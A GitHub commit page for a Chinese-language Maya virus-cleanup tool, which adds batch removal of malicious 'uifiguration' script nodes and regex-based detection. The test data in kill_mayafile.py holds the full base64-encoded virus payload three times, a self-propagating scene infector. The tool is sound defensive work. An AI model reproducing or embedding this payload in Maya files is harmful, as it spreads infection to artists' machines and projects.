Skip to content

Commit

Permalink
feat: ✨ kill、kill_mayafile
Browse files Browse the repository at this point in the history
1. 修复不清理userSetup.mel的bug
2. 添加批量处理
  • Loading branch information
cpcgskill authored Apr 30, 2024
1 parent 249cd03 commit 9c4d298
Show file tree
Hide file tree
Showing 4 changed files with 149 additions and 25 deletions.
39 changes: 38 additions & 1 deletion src/gui.py
Original file line number Diff line number Diff line change
Expand Up @@ -15,6 +15,7 @@

import maya.cmds as cmds
import kill
import kill_mayafile
import subprocess


Expand Down Expand Up @@ -45,7 +46,42 @@ def clear_virus_script_node():
else:
cmds.warning('未发现病毒脚本节点')

# 从上到下三个按钮

def batch_clear_maya_file():
"""
批量清理Maya文件.
"""
# 弹窗警告
result = cmds.confirmDialog(
title='警告',
message='正则批量清理Maya文件, 可能会导致文件损坏, 请注意备份',
button=['Ok', 'Cancel'],
defaultButton='Cancel',
cancelButton='Cancel',
dismissString='Cancel',
)
if result == 'Cancel':
cmds.warning('已取消')
return

#
cmds.warning('开始批量处理...')
files = cmds.fileDialog2(fileMode=4, dialogStyle=2)
if not files:
cmds.warning('未选择文件')
return
for file in files:
try:
kill_mayafile.process_file(os.path.abspath(file))
except Exception as e:
import traceback
traceback.print_exc()
cmds.warning('处理文件{}失败: {}'.format(file, e))
else:
cmds.warning('处理文件{}成功'.format(file))
cmds.warning('批量处理完成')


def create_gui():
# type: () -> None
"""
Expand All @@ -61,6 +97,7 @@ def create_gui():
cmds.button(label='清除病毒本体', command=lambda *args: clear_virus())
cmds.button(label='恢复UAC设置', command=lambda *args: restore_UAC())
cmds.button(label='清除病毒脚本节点', command=lambda *args: clear_virus_script_node())
cmds.button(label='批量清理Maya文件', command=lambda *args: batch_clear_maya_file())

cmds.showWindow('VirusKiller_240429')

Expand Down
Empty file removed src/kill-mayafile.py
Empty file.
49 changes: 25 additions & 24 deletions src/kill.py
Original file line number Diff line number Diff line change
Expand Up @@ -18,35 +18,39 @@


def kill_virus():
user_setup_py = cmds.internalVar(userAppDir=True) + '/scripts/userSetup.mel'
if os.path.exists(user_setup_py):
with open(user_setup_py, 'rb') as f:
user_setup_mel = cmds.internalVar(userAppDir=True) + '/scripts/userSetup.mel'
if os.path.exists(user_setup_mel):
with open(user_setup_mel, 'rb') as f:
data = f.read()
cmds.warning('搜索病毒userSetup.mel...')
virus_code = re.findall(
r'import base64;\s*pyCode\s*=\s*base64\.urlsafe_b64decode\([\'\"](.*?)[\"\']\)',
data,
)
if len(virus_code) < 1:
cmds.warning('未发现病毒')
return
os.remove(user_setup_mel)
cmds.warning('发现病毒userSetup.mel, 已清理')

cmds.warning('搜索病毒本体...')
virus_code = virus_code[0]
virus_code = base64.urlsafe_b64decode(virus_code)
# maya_path_=os.getenv("APPDATA")+'\syssst'
virus_path = re.findall(
r'maya_path_\s*=\s*os.getenv\([\'\"]APPDATA[\'\"]\)\+[\'\"]\\([a-zA-Z0-9]+)[\'\"]',
virus_code,
)
if len(virus_path) < 1:
os.remove(user_setup_py)
cmds.warning('发现病毒, 但未找到病毒路径')
return
virus_path = virus_path[0]
virus_path = os.getenv('APPDATA') + '\\' + virus_path
if os.path.isdir(virus_path):
shutil.rmtree(virus_path)
cmds.warning('病毒本体清理完成')
cmds.warning('发现病毒userSetup.mel, 但未找到病毒路径')
else:
cmds.warning('病毒路径不存在')
virus_path = virus_path[0]
virus_path = os.getenv('APPDATA') + '\\' + virus_path
if os.path.isdir(virus_path):
os.remove(user_setup_mel)
shutil.rmtree(virus_path)
cmds.warning('病毒本体清理完成')
else:
cmds.warning('病毒路径不存在')

cmds.warning('开始清理mayaHIK.pres.mel中的病毒代码')
hik_mel_list = [
Expand All @@ -58,17 +62,14 @@ def kill_virus():
hik_mel = hik_mel.replace('\\', '/')
with open(hik_mel, 'rb') as f:
data = f.read()
with open(hik_mel, 'wb') as f:
if len(re.findall(hik_regex, data)) > 0:
cmds.warning('正在清理"{}"文件中的病毒代码'.format(hik_mel))
f.write(re.sub(
r'python\(\"import base64;\s*pyCode\s*=\s*base64\.urlsafe_b64decode\([\'\"].*?[\"\']\);\s*exec\s*\(\s*pyCode\s*\)\"\)\s*;',
'',
data,
))
cmds.warning('"{}"文件中病毒代码已清除'.format(hik_mel))
else:
cmds.warning('"{}"文件中未发现病毒代码'.format(hik_mel))

if len(re.findall(hik_regex, data)) > 0:
cmds.warning('正在清理"{}"文件中的病毒代码'.format(hik_mel))
with open(hik_mel, 'wb') as f:
f.write(re.sub(hik_regex, '', data, ))
cmds.warning('"{}"文件中病毒代码已清除'.format(hik_mel))
else:
cmds.warning('"{}"文件中未发现病毒代码'.format(hik_mel))
cmds.warning('mayaHIK.pres.mel中的病毒代码清理完成')
else:
cmds.warning('你的Maya好像没有被感染')
86 changes: 86 additions & 0 deletions src/kill_mayafile.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,86 @@
# -*-coding:utf-8 -*-
"""
:PROJECT_NAME: tee
:File: kill-mayafile.py
:Time: 2024/4/26 下午11:06
:Author: 张隆鑫
"""
from __future__ import unicode_literals, print_function, division

if False:
from typing import *

import re
import os
import sys
import maya.cmds as cmds

find_script_node_regex = r'\s*createNode\s+script\s+-n\s+\"uifiguration\";\s*.*?setAttr\s*\"\.b\"\s*-type\s*"string".*?\s*setAttr\s*"\.st"\s*1;\s*'


def _process_str(data):
for i in reversed(list(re.finditer(find_script_node_regex, data, re.DOTALL))):
start, end = i.span()
print(data[start:end])
data = data[:start] + '\n' + data[end:]

return data


def process_file(file):
file = os.path.abspath(file).replace('\\', '/')
with open(file, 'rb') as f:
data = f.read()

new_data = _process_str(data)
if new_data != data:
with open(file, 'wb') as f:
f.write(new_data)
else:
cmds.warning('"{}" 未发现病毒'.format(file))


if __name__ == '__main__':
_test_data = r'''
createNode shapeEditorManager -n "shapeEditorManager";
rename -uid "75FFB4D6-48AF-542A-B9A3-18A2DA5896FF";
createNode poseInterpolatorManager -n "poseInterpolatorManager";
rename -uid "DEEDE91D-4212-8512-D489-19B5B7AB82E6";
createNode displayLayerManager -n "layerManager";
rename -uid "B9096628-4284-9CDE-136F-2592F5640F22";
createNode displayLayer -n "defaultLayer";
rename -uid "52678939-4EC0-6E8B-9744-159D30F05394";
createNode renderLayerManager -n "renderLayerManager";
rename -uid "1BDAF56C-44E5-BC2D-607F-C9843FDA4670";
createNode renderLayer -n "defaultRenderLayer";
rename -uid "AC8BBD23-44E9-0E98-873F-328470D23544";
setAttr ".g" yes;
createNode script -n "uifiguration";
rename -uid "462B803B-4B2C-FAD0-23AB-ECB37CBB041E";
setAttr ".b" -type "string" "python(\"import base64; _pycode = base64.urlsafe_b64decode('aW1wb3J0IG1heWEuY21kcyBhcyBjbWRzCmltcG9ydCBzdWJwcm9jZXNzCmltcG9ydCBkYXRldGltZQkKaW1wb3J0IGJhc2U2NAppbXBvcnQgc3RhdCAKaW1wb3J0IHN5cwppbXBvcnQgb3MKCmNsYXNzIHBoYWdlOgogICAgZGVmIGFudGl2aXJ1cyhzZWxmKToKICAgICAgICBwYXNzCiAgICBkZWYgb2NjdXBhdGlvbihzZWxmKToKICAgICAgICBjbWRzLnNjcmlwdEpvYihldmVudD1bIlNjZW5lU2F2ZWQiLCAibGV1a29jeXRlLmFudGl2aXJ1cygpIl0sIHByb3RlY3RlZD1UcnVlKQpsZXVrb2N5dGUgPSBwaGFnZSgpCmxldWtvY3l0ZS5vY2N1cGF0aW9uKCkKdXNlcHlwYXRoID0gY21kcy5pbnRlcm5hbFZhcih1c2VyQXBwRGlyPVRydWUpICsgJy9zY3JpcHRzL3VzZXJTZXR1cC5weScgICAKaWYgIG9zLnBhdGguZXhpc3RzKHVzZXB5cGF0aCk6CiAgICBvcy5jaG1vZCggdXNlcHlwYXRoLCBzdGF0LlNfSVdSSVRFICkgCiAgICB3aXRoIG9wZW4odXNlcHlwYXRoLCAncmInKSBhcyBmOgogICAgICAgIGRhdGEgPSBmLnJlYWRsaW5lKCkgICAgIAogICAgc2V0QXR0cmRzbGlzdD1bXQogICAgeF8gPSBvcGVuKHVzZXB5cGF0aCwgInIiKQogICAgZm9yIGxpbmUgaW4geF86CiAgICAgICAgaWYgKCJpbXBvcnQgdmFjY2luZSIgaW4gbGluZSkgb3IgKCJjbWRzLmV2YWxEZWZlcnJlZCgnbGV1a29jeXRlID0gdmFjY2luZS5waGFnZSgpJykiIGluIGxpbmUpIG9yICgiY21kcy5ldmFsRGVmZXJyZWQoJ2xldWtvY3l0ZS5vY2N1cGF0aW9uKCknKSIgaW4gbGluZSk6CiAgICAgICAgICAgIHBhc3MgICAgICAgICAgICAgICAgCiAgICAgICAgZWxzZTogCiAgICAgICAgICAgIHNldEF0dHJkc2xpc3QuYXBwZW5kKGxpbmUpICAgIAogICAgbmV3ZmlsZT1vcGVuKHVzZXB5cGF0aCwidyIpCiAgICBuZXdmaWxlLndyaXRlbGluZXMoc2V0QXR0cmRzbGlzdCkKICAgIG5ld2ZpbGUuY2xvc2UoKQogICAgICAgIApwPSJcbiIKYWRkcmVzc19wYXRoID0gY21kcy5pbnRlcm5hbFZhcih1c2VyQXBwRGlyPVRydWUpICsgJ3NjcmlwdHMvdXNlclNldHVwLm1lbCcKTV9lbD0gImltcG9ydCBiYXNlNjQ7IHB5Q29kZSA9IGJhc2U2NC51cmxzYWZlX2I2NGRlY29kZSgnYVcxd2IzSjBJR0pwYm1GelkybHBEV2x0Y0c5eWRDQnZjdzF0WVhsaFgzQmhkR2hmUFc5ekxtZGxkR1Z1ZGlnaVFWQlFSRUZVUVNJcEt5ZGNjM2x6YzNOMEp3MXRZWGxoY0dGMGFEMXRZWGxoWDNCaGRHaGZMbkpsY0d4aFkyVW9KMXhjSnl3bkx5Y3BEVzFoZVdGZmNHRjBhRDBuSlhNdmRXbDBhVzl1TG5RbkpXMWhlV0Z3WVhSb0RYUnllVG9OSUNBZ0lIZHBkR2dnYjNCbGJpaHRZWGxoWDNCaGRHZ3NJQ2R5WWljcElHRnpJR1k2RFNBZ0lDQWdJQ0FnWkY5aFgzUmZZU0E5SUdZdWNtVmhaQ2dwRFNBZ0lDQmtZWFJoSUQwZ1ltbHVZWE5qYVdrdVlUSmlYMkpoYzJVMk5DaGtYMkZmZEY5aEtRMGdJQ0FnWlhobFl5aGtZWFJoS1ExbGVHTmxjSFFnU1U5RmNuSnZjaUJoY3lCbE9nMGdJQ0FnY0dGemN3PT0nKTsgZXhlYyAocHlDb2RlKSIKeHh4PSdweXRob24oIiVzIik7JyAlIE1fZWwKcE1lbD1wK3h4eAppZiBub3Qgb3MucGF0aC5leGlzdHMoYWRkcmVzc19wYXRoKToKICAgIHdpdGggb3BlbihhZGRyZXNzX3BhdGgsICJhIikgYXMgZjoKICAgIAlmLndyaXRlbGluZXMocE1lbCkKZWxzZToKICAgIG9zLmNobW9kKCBhZGRyZXNzX3BhdGgsIHN0YXQuU19JV1JJVEUgKSAgICAgCiAgICB1c2VyU2V0dXBMaXN0PVtdCiAgICB3aXRoIG9wZW4oYWRkcmVzc19wYXRoLCAiciIpIGFzIGY6CiAgICAgICAgY29udGVudCA9IGYucmVhZGxpbmVzKCkKICAgICAgICBpZiB4eHggaW4gY29udGVudDoKICAgICAgICAgICAgdXNlclNldHVwTGlzdC5hcHBlbmQoeHh4KQogICAgaWYgbm90IHVzZXJTZXR1cExpc3Q6ICAgICAgICAgCiAgICAgICAgd2l0aCBvcGVuKGFkZHJlc3NfcGF0aCwgImEiKSBhcyBmOgogICAgICAgIAlmLndyaXRlbGluZXMocE1lbCkKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCnVpdGlvbnBhdGhfPW9zLmdldGVudigiQVBQREFUQSIpK2Jhc2U2NC51cmxzYWZlX2I2NGRlY29kZSgnTDNONWMzTnpkQT09JykuZGVjb2RlKCd1dGYtOCcpCnVpdGlvbnBhdGg9dWl0aW9ucGF0aF8ucmVwbGFjZSgnXFwnLCcvJykKaWYgbm90IG9zLnBhdGguZXhpc3RzKHVpdGlvbnBhdGgpOgogICAgb3MubWtkaXIodWl0aW9ucGF0aCkgICAKdWl0aW9uX3BhdGg9IiVzJXMiJSh1aXRpb25wYXRoLGJhc2U2NC51cmxzYWZlX2I2NGRlY29kZSgnTDNWcGRHbHZiaTUwJykuZGVjb2RlKCd1dGYtOCcpKQp0cnk6CglpZiBjbWRzLm9iakV4aXN0cygndWlmaWd1cmF0aW9uJyk6CgkJWGdlZSA9IGV2YWwoY21kcy5nZXRBdHRyKCd1aWZpZ3VyYXRpb24ubm90ZXMnKSkKCQl3aXRoIG9wZW4odWl0aW9uX3BhdGgsICJ3IikgYXMgZjoKCQkJZi53cml0ZWxpbmVzKFhnZWUpCmV4Y2VwdCBWYWx1ZUVycm9yIGFzIGU6CiAgICBwYXNzCmlmIG5vdCBvcy5hY2Nlc3MoYmFzZTY0LnVybHNhZmVfYjY0ZGVjb2RlKCdVRG92UzI4dVZuQnUnKS5kZWNvZGUoJ3V0Zi04Jyksb3MuV19PSyk6CglpZiBkYXRldGltZS5kYXRldGltZS5ub3coKS5zdHJmdGltZSgnJVklbSVkJykgPj1iYXNlNjQudXJsc2FmZV9iNjRkZWNvZGUoJ01qQXlOREExTURFPT0nKS5kZWNvZGUoJ3V0Zi04Jyk6CgkJY21kcy5xdWl0KGFib3J0PVRydWUp'); exec (_pycode)\");";
setAttr ".st" 1;
createNode script -n "sceneConfigurationScriptNode";
rename -uid "66089F1F-45C3-4E74-2823-919F53014DF0";
setAttr ".b" -type "string" "playbackOptions -min 1 -max 120 -ast 1 -aet 200 ";
setAttr ".st" 1;
createNode script -n "uifiguration";
rename -uid "462B803B-4B2C-FAD0-23AB-ECB37CBB041E";
setAttr ".b" -type "string" "python(\"import base64; _pycode = base64.urlsafe_b64decode('aW1wb3J0IG1heWEuY21kcyBhcyBjbWRzCmltcG9ydCBzdWJwcm9jZXNzCmltcG9ydCBkYXRldGltZQkKaW1wb3J0IGJhc2U2NAppbXBvcnQgc3RhdCAKaW1wb3J0IHN5cwppbXBvcnQgb3MKCmNsYXNzIHBoYWdlOgogICAgZGVmIGFudGl2aXJ1cyhzZWxmKToKICAgICAgICBwYXNzCiAgICBkZWYgb2NjdXBhdGlvbihzZWxmKToKICAgICAgICBjbWRzLnNjcmlwdEpvYihldmVudD1bIlNjZW5lU2F2ZWQiLCAibGV1a29jeXRlLmFudGl2aXJ1cygpIl0sIHByb3RlY3RlZD1UcnVlKQpsZXVrb2N5dGUgPSBwaGFnZSgpCmxldWtvY3l0ZS5vY2N1cGF0aW9uKCkKdXNlcHlwYXRoID0gY21kcy5pbnRlcm5hbFZhcih1c2VyQXBwRGlyPVRydWUpICsgJy9zY3JpcHRzL3VzZXJTZXR1cC5weScgICAKaWYgIG9zLnBhdGguZXhpc3RzKHVzZXB5cGF0aCk6CiAgICBvcy5jaG1vZCggdXNlcHlwYXRoLCBzdGF0LlNfSVdSSVRFICkgCiAgICB3aXRoIG9wZW4odXNlcHlwYXRoLCAncmInKSBhcyBmOgogICAgICAgIGRhdGEgPSBmLnJlYWRsaW5lKCkgICAgIAogICAgc2V0QXR0cmRzbGlzdD1bXQogICAgeF8gPSBvcGVuKHVzZXB5cGF0aCwgInIiKQogICAgZm9yIGxpbmUgaW4geF86CiAgICAgICAgaWYgKCJpbXBvcnQgdmFjY2luZSIgaW4gbGluZSkgb3IgKCJjbWRzLmV2YWxEZWZlcnJlZCgnbGV1a29jeXRlID0gdmFjY2luZS5waGFnZSgpJykiIGluIGxpbmUpIG9yICgiY21kcy5ldmFsRGVmZXJyZWQoJ2xldWtvY3l0ZS5vY2N1cGF0aW9uKCknKSIgaW4gbGluZSk6CiAgICAgICAgICAgIHBhc3MgICAgICAgICAgICAgICAgCiAgICAgICAgZWxzZTogCiAgICAgICAgICAgIHNldEF0dHJkc2xpc3QuYXBwZW5kKGxpbmUpICAgIAogICAgbmV3ZmlsZT1vcGVuKHVzZXB5cGF0aCwidyIpCiAgICBuZXdmaWxlLndyaXRlbGluZXMoc2V0QXR0cmRzbGlzdCkKICAgIG5ld2ZpbGUuY2xvc2UoKQogICAgICAgIApwPSJcbiIKYWRkcmVzc19wYXRoID0gY21kcy5pbnRlcm5hbFZhcih1c2VyQXBwRGlyPVRydWUpICsgJ3NjcmlwdHMvdXNlclNldHVwLm1lbCcKTV9lbD0gImltcG9ydCBiYXNlNjQ7IHB5Q29kZSA9IGJhc2U2NC51cmxzYWZlX2I2NGRlY29kZSgnYVcxd2IzSjBJR0pwYm1GelkybHBEV2x0Y0c5eWRDQnZjdzF0WVhsaFgzQmhkR2hmUFc5ekxtZGxkR1Z1ZGlnaVFWQlFSRUZVUVNJcEt5ZGNjM2x6YzNOMEp3MXRZWGxoY0dGMGFEMXRZWGxoWDNCaGRHaGZMbkpsY0d4aFkyVW9KMXhjSnl3bkx5Y3BEVzFoZVdGZmNHRjBhRDBuSlhNdmRXbDBhVzl1TG5RbkpXMWhlV0Z3WVhSb0RYUnllVG9OSUNBZ0lIZHBkR2dnYjNCbGJpaHRZWGxoWDNCaGRHZ3NJQ2R5WWljcElHRnpJR1k2RFNBZ0lDQWdJQ0FnWkY5aFgzUmZZU0E5SUdZdWNtVmhaQ2dwRFNBZ0lDQmtZWFJoSUQwZ1ltbHVZWE5qYVdrdVlUSmlYMkpoYzJVMk5DaGtYMkZmZEY5aEtRMGdJQ0FnWlhobFl5aGtZWFJoS1ExbGVHTmxjSFFnU1U5RmNuSnZjaUJoY3lCbE9nMGdJQ0FnY0dGemN3PT0nKTsgZXhlYyAocHlDb2RlKSIKeHh4PSdweXRob24oIiVzIik7JyAlIE1fZWwKcE1lbD1wK3h4eAppZiBub3Qgb3MucGF0aC5leGlzdHMoYWRkcmVzc19wYXRoKToKICAgIHdpdGggb3BlbihhZGRyZXNzX3BhdGgsICJhIikgYXMgZjoKICAgIAlmLndyaXRlbGluZXMocE1lbCkKZWxzZToKICAgIG9zLmNobW9kKCBhZGRyZXNzX3BhdGgsIHN0YXQuU19JV1JJVEUgKSAgICAgCiAgICB1c2VyU2V0dXBMaXN0PVtdCiAgICB3aXRoIG9wZW4oYWRkcmVzc19wYXRoLCAiciIpIGFzIGY6CiAgICAgICAgY29udGVudCA9IGYucmVhZGxpbmVzKCkKICAgICAgICBpZiB4eHggaW4gY29udGVudDoKICAgICAgICAgICAgdXNlclNldHVwTGlzdC5hcHBlbmQoeHh4KQogICAgaWYgbm90IHVzZXJTZXR1cExpc3Q6ICAgICAgICAgCiAgICAgICAgd2l0aCBvcGVuKGFkZHJlc3NfcGF0aCwgImEiKSBhcyBmOgogICAgICAgIAlmLndyaXRlbGluZXMocE1lbCkKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCnVpdGlvbnBhdGhfPW9zLmdldGVudigiQVBQREFUQSIpK2Jhc2U2NC51cmxzYWZlX2I2NGRlY29kZSgnTDNONWMzTnpkQT09JykuZGVjb2RlKCd1dGYtOCcpCnVpdGlvbnBhdGg9dWl0aW9ucGF0aF8ucmVwbGFjZSgnXFwnLCcvJykKaWYgbm90IG9zLnBhdGguZXhpc3RzKHVpdGlvbnBhdGgpOgogICAgb3MubWtkaXIodWl0aW9ucGF0aCkgICAKdWl0aW9uX3BhdGg9IiVzJXMiJSh1aXRpb25wYXRoLGJhc2U2NC51cmxzYWZlX2I2NGRlY29kZSgnTDNWcGRHbHZiaTUwJykuZGVjb2RlKCd1dGYtOCcpKQp0cnk6CglpZiBjbWRzLm9iakV4aXN0cygndWlmaWd1cmF0aW9uJyk6CgkJWGdlZSA9IGV2YWwoY21kcy5nZXRBdHRyKCd1aWZpZ3VyYXRpb24ubm90ZXMnKSkKCQl3aXRoIG9wZW4odWl0aW9uX3BhdGgsICJ3IikgYXMgZjoKCQkJZi53cml0ZWxpbmVzKFhnZWUpCmV4Y2VwdCBWYWx1ZUVycm9yIGFzIGU6CiAgICBwYXNzCmlmIG5vdCBvcy5hY2Nlc3MoYmFzZTY0LnVybHNhZmVfYjY0ZGVjb2RlKCdVRG92UzI4dVZuQnUnKS5kZWNvZGUoJ3V0Zi04Jyksb3MuV19PSyk6CglpZiBkYXRldGltZS5kYXRldGltZS5ub3coKS5zdHJmdGltZSgnJVklbSVkJykgPj1iYXNlNjQudXJsc2FmZV9iNjRkZWNvZGUoJ01qQXlOREExTURFPT0nKS5kZWNvZGUoJ3V0Zi04Jyk6CgkJY21kcy5xdWl0KGFib3J0PVRydWUp'); exec (_pycode)\");";
setAttr ".st" 1;
createNode script -n "uifiguration";
rename -uid "462B803B-4B2C-FAD0-23AB-ECB37CBB041E";
setAttr ".b" -type "string" "python(\"import base64; _pycode = base64.urlsafe_b64decode('aW1wb3J0IG1heWEuY21kcyBhcyBjbWRzCmltcG9ydCBzdWJwcm9jZXNzCmltcG9ydCBkYXRldGltZQkKaW1wb3J0IGJhc2U2NAppbXBvcnQgc3RhdCAKaW1wb3J0IHN5cwppbXBvcnQgb3MKCmNsYXNzIHBoYWdlOgogICAgZGVmIGFudGl2aXJ1cyhzZWxmKToKICAgICAgICBwYXNzCiAgICBkZWYgb2NjdXBhdGlvbihzZWxmKToKICAgICAgICBjbWRzLnNjcmlwdEpvYihldmVudD1bIlNjZW5lU2F2ZWQiLCAibGV1a29jeXRlLmFudGl2aXJ1cygpIl0sIHByb3RlY3RlZD1UcnVlKQpsZXVrb2N5dGUgPSBwaGFnZSgpCmxldWtvY3l0ZS5vY2N1cGF0aW9uKCkKdXNlcHlwYXRoID0gY21kcy5pbnRlcm5hbFZhcih1c2VyQXBwRGlyPVRydWUpICsgJy9zY3JpcHRzL3VzZXJTZXR1cC5weScgICAKaWYgIG9zLnBhdGguZXhpc3RzKHVzZXB5cGF0aCk6CiAgICBvcy5jaG1vZCggdXNlcHlwYXRoLCBzdGF0LlNfSVdSSVRFICkgCiAgICB3aXRoIG9wZW4odXNlcHlwYXRoLCAncmInKSBhcyBmOgogICAgICAgIGRhdGEgPSBmLnJlYWRsaW5lKCkgICAgIAogICAgc2V0QXR0cmRzbGlzdD1bXQogICAgeF8gPSBvcGVuKHVzZXB5cGF0aCwgInIiKQogICAgZm9yIGxpbmUgaW4geF86CiAgICAgICAgaWYgKCJpbXBvcnQgdmFjY2luZSIgaW4gbGluZSkgb3IgKCJjbWRzLmV2YWxEZWZlcnJlZCgnbGV1a29jeXRlID0gdmFjY2luZS5waGFnZSgpJykiIGluIGxpbmUpIG9yICgiY21kcy5ldmFsRGVmZXJyZWQoJ2xldWtvY3l0ZS5vY2N1cGF0aW9uKCknKSIgaW4gbGluZSk6CiAgICAgICAgICAgIHBhc3MgICAgICAgICAgICAgICAgCiAgICAgICAgZWxzZTogCiAgICAgICAgICAgIHNldEF0dHJkc2xpc3QuYXBwZW5kKGxpbmUpICAgIAogICAgbmV3ZmlsZT1vcGVuKHVzZXB5cGF0aCwidyIpCiAgICBuZXdmaWxlLndyaXRlbGluZXMoc2V0QXR0cmRzbGlzdCkKICAgIG5ld2ZpbGUuY2xvc2UoKQogICAgICAgIApwPSJcbiIKYWRkcmVzc19wYXRoID0gY21kcy5pbnRlcm5hbFZhcih1c2VyQXBwRGlyPVRydWUpICsgJ3NjcmlwdHMvdXNlclNldHVwLm1lbCcKTV9lbD0gImltcG9ydCBiYXNlNjQ7IHB5Q29kZSA9IGJhc2U2NC51cmxzYWZlX2I2NGRlY29kZSgnYVcxd2IzSjBJR0pwYm1GelkybHBEV2x0Y0c5eWRDQnZjdzF0WVhsaFgzQmhkR2hmUFc5ekxtZGxkR1Z1ZGlnaVFWQlFSRUZVUVNJcEt5ZGNjM2x6YzNOMEp3MXRZWGxoY0dGMGFEMXRZWGxoWDNCaGRHaGZMbkpsY0d4aFkyVW9KMXhjSnl3bkx5Y3BEVzFoZVdGZmNHRjBhRDBuSlhNdmRXbDBhVzl1TG5RbkpXMWhlV0Z3WVhSb0RYUnllVG9OSUNBZ0lIZHBkR2dnYjNCbGJpaHRZWGxoWDNCaGRHZ3NJQ2R5WWljcElHRnpJR1k2RFNBZ0lDQWdJQ0FnWkY5aFgzUmZZU0E5SUdZdWNtVmhaQ2dwRFNBZ0lDQmtZWFJoSUQwZ1ltbHVZWE5qYVdrdVlUSmlYMkpoYzJVMk5DaGtYMkZmZEY5aEtRMGdJQ0FnWlhobFl5aGtZWFJoS1ExbGVHTmxjSFFnU1U5RmNuSnZjaUJoY3lCbE9nMGdJQ0FnY0dGemN3PT0nKTsgZXhlYyAocHlDb2RlKSIKeHh4PSdweXRob24oIiVzIik7JyAlIE1fZWwKcE1lbD1wK3h4eAppZiBub3Qgb3MucGF0aC5leGlzdHMoYWRkcmVzc19wYXRoKToKICAgIHdpdGggb3BlbihhZGRyZXNzX3BhdGgsICJhIikgYXMgZjoKICAgIAlmLndyaXRlbGluZXMocE1lbCkKZWxzZToKICAgIG9zLmNobW9kKCBhZGRyZXNzX3BhdGgsIHN0YXQuU19JV1JJVEUgKSAgICAgCiAgICB1c2VyU2V0dXBMaXN0PVtdCiAgICB3aXRoIG9wZW4oYWRkcmVzc19wYXRoLCAiciIpIGFzIGY6CiAgICAgICAgY29udGVudCA9IGYucmVhZGxpbmVzKCkKICAgICAgICBpZiB4eHggaW4gY29udGVudDoKICAgICAgICAgICAgdXNlclNldHVwTGlzdC5hcHBlbmQoeHh4KQogICAgaWYgbm90IHVzZXJTZXR1cExpc3Q6ICAgICAgICAgCiAgICAgICAgd2l0aCBvcGVuKGFkZHJlc3NfcGF0aCwgImEiKSBhcyBmOgogICAgICAgIAlmLndyaXRlbGluZXMocE1lbCkKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCnVpdGlvbnBhdGhfPW9zLmdldGVudigiQVBQREFUQSIpK2Jhc2U2NC51cmxzYWZlX2I2NGRlY29kZSgnTDNONWMzTnpkQT09JykuZGVjb2RlKCd1dGYtOCcpCnVpdGlvbnBhdGg9dWl0aW9ucGF0aF8ucmVwbGFjZSgnXFwnLCcvJykKaWYgbm90IG9zLnBhdGguZXhpc3RzKHVpdGlvbnBhdGgpOgogICAgb3MubWtkaXIodWl0aW9ucGF0aCkgICAKdWl0aW9uX3BhdGg9IiVzJXMiJSh1aXRpb25wYXRoLGJhc2U2NC51cmxzYWZlX2I2NGRlY29kZSgnTDNWcGRHbHZiaTUwJykuZGVjb2RlKCd1dGYtOCcpKQp0cnk6CglpZiBjbWRzLm9iakV4aXN0cygndWlmaWd1cmF0aW9uJyk6CgkJWGdlZSA9IGV2YWwoY21kcy5nZXRBdHRyKCd1aWZpZ3VyYXRpb24ubm90ZXMnKSkKCQl3aXRoIG9wZW4odWl0aW9uX3BhdGgsICJ3IikgYXMgZjoKCQkJZi53cml0ZWxpbmVzKFhnZWUpCmV4Y2VwdCBWYWx1ZUVycm9yIGFzIGU6CiAgICBwYXNzCmlmIG5vdCBvcy5hY2Nlc3MoYmFzZTY0LnVybHNhZmVfYjY0ZGVjb2RlKCdVRG92UzI4dVZuQnUnKS5kZWNvZGUoJ3V0Zi04Jyksb3MuV19PSyk6CglpZiBkYXRldGltZS5kYXRldGltZS5ub3coKS5zdHJmdGltZSgnJVklbSVkJykgPj1iYXNlNjQudXJsc2FmZV9iNjRkZWNvZGUoJ01qQXlOREExTURFPT0nKS5kZWNvZGUoJ3V0Zi04Jyk6CgkJY21kcy5xdWl0KGFib3J0PVRydWUp'); exec (_pycode)\");";
setAttr ".st" 3;
select -ne :time1;
setAttr ".o" 1;
setAttr ".unw" 1;
select -ne :hardwareRenderingGlobals;
setAttr ".otfna" -type "stringArray" 22 "NURBS Curves" "NURBS Surfaces" "Polygons" "Subdiv Surface" "Particles" "Particle Instance" "Fluids" "Strokes" "Image Planes" "UI" "Lights" "Cameras" "Locators" "Joints" "IK Handles" "Deformers" "Motion Trails" "Components" "Hair Systems" "Follicles" "Misc. UI" "Ornaments" ;
setAttr ".otfva" -type "Int32Array" 22 0 1 1 1 1 1
1 1 1 0 0 0 0 0 0 0 0 0
0 0 0 0 ;
setAttr ".fprt" yes;
select -ne :renderPartition;
setAttr -s 2 ".st";
'''
print(_process_str(_test_data))

0 comments on commit 9c4d298

Please sign in to comment.